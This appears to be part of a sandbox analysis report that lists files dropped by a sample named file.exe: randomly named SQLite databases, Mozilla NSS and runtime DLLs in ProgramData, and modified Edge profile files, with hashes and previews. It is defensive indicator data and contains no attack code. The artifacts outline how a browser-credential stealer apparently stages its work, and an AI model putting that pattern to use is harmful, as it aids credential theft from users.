Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CFIIIJJKJKFHIDGDBAKJEBKEGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDBKFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDBKFBAKFBFHIECFBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBAKKFHJDBKKEBFHDAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHIDBAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676534811243878
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMZSA1LyKOMq+8iP5GDHP/0jMVumt8:Kq+n0JZ91LyKOMq+8iP5GLP/0P
MD5:	2DADD23A65C197531E5E365C1E24F8F3
SHA1:	E16C8C91DACB66FAEB2246C6FE2FDEDBC46C0818
SHA-256:	7BBC57BAB15DDF704265B286AA5D2D3DDFA6ECB7190BD4C2B1597DC026957666
SHA-512:	622332077491FFBD6555D4EC10B1F433A53A95588573A693B8BE6166CCCD53DCDFBB4D12B1CEDA9C84D8886672CD3A8741E12B00BE852EFE0F6B57A4E0573635
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJEHDHIEGIIIDHIDHDHJJKJKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 21Installer.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1f6e1b8d-d43f-4e86-a1e6-cbe6ae8b9a66.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46460
Entropy (8bit):	6.08769621688871
Encrypted:	false
SSDEEP:	768:NMkbJrT8IeQc5X9zGK+i1zNtbBwpyAqwJhF8fY65Dk+bCioDJDSgzMMd6qD47u38:NMk1rT8Hf9SevY65bFoDtSmd6qE7F
MD5:	610FC170130F586B0B10137ACFD059E3
SHA1:	EB7ED26264801E08E2659D022999570247729DF9
SHA-256:	D4E02B6B559D137B36A772554F3AE2798E05FE54BE9BF44C7B02FED88E6FBFE1
SHA-512:	C417A1B7FF6CE44595DC603F40774C9ECDCCB68979DA06C875913EFD36AD07DB04A28A7FC7DA651E2A06EBA20D840534CC704AC3FA65727408C75E7A377B82F0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376869170066221","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"c9d770bf-e456-4fae-82f2-504f7875348d"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732395574"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\30639763-4b97-4c6d-ace9-af02acbb9b25.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44898
Entropy (8bit):	6.0958466757107335
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW4Pi1zNtbBpNgMDPEQLF4KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4pqKtSmd6qE7lFoC
MD5:	D9FC182F373C7B55F5A90AD87969B7A3
SHA1:	4700ECBE19912E29FFADF0084FC1C59AF026F53E
SHA-256:	09C02C958F6385A2118479CD4F7CCAA1EB3CAEE68F542EDD11B4F03366F641A3
SHA-512:	61B25E4DEC8D9F981EF3CFFCFCAC64AEF2525D16847AF0B7AAEBC6E50C31D6E65A3627E318ACC93C1A71CF438142828FF3DC76AD5EC5FB02653154BD693FD57C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\30e200b7-4dbe-4767-8ba9-1d08edf566e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46383
Entropy (8bit):	6.087757742353409
Encrypted:	false
SSDEEP:	768:NMkbJrT8IeQc5dKzGK+i1zNtbBp9pyAqwJhF8fY65Dk+bCioDJDSgzMMd6qD47us:NMk1rT8H1KSepCY65bFoDtSmd6qE7F
MD5:	6EEC126664F6DE1C91EDD91967F88336
SHA1:	3A173051CB16DD0FA7C4183C152E94BB325A1392
SHA-256:	C5A1291C2EF5FD4168E6741B512B36CBCC46D30FADD65354F01249017F4791D1
SHA-512:	2FED152D9BAFFF189667D76E820A14965739B3841055F484D0CF8A7F86481952A8FF4AA45872C97C33A1A24AC1D06AC3E1C3FFFF812C511C92C856A8C0F5AB98
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376869170066221","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"c9d770bf-e456-4fae-82f2-504f7875348d"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732395574"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\70c4c8eb-3053-401a-a513-5418b2ead836.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44898
Entropy (8bit):	6.0958466757107335
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW4Pi1zNtbBpNgMDPEQLF4KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4pqKtSmd6qE7lFoC
MD5:	D9FC182F373C7B55F5A90AD87969B7A3
SHA1:	4700ECBE19912E29FFADF0084FC1C59AF026F53E
SHA-256:	09C02C958F6385A2118479CD4F7CCAA1EB3CAEE68F542EDD11B4F03366F641A3
SHA-512:	61B25E4DEC8D9F981EF3CFFCFCAC64AEF2525D16847AF0B7AAEBC6E50C31D6E65A3627E318ACC93C1A71CF438142828FF3DC76AD5EC5FB02653154BD693FD57C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\85f71161-a94e-4de3-a6e1-f191aa785aea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44996
Entropy (8bit):	6.095887939936562
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWMPi1zNtbBp9pyAqwJhF8fKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7yOgpCKtSmd6qE7lFoC
MD5:	D753A9C80EA094ECDDB8BAB29491BC64
SHA1:	524FFD3770A9E589E3E46845A7563A16A933FB0E
SHA-256:	29A5DAFB828E3D295B25D68A2EA2C582F4E6885083D028ABEE87CEB085DC72E4
SHA-512:	5CF0497DA85052064E44819FFE3B35EC22261A4679E8B459D0F4202597BB25B7B1CBECE70D994F36959424BC136EB39C8A7C8AD422F706941DA6654B746F9BEF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\9a8aace5-cd32-49c4-a087-1fba766c0784.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
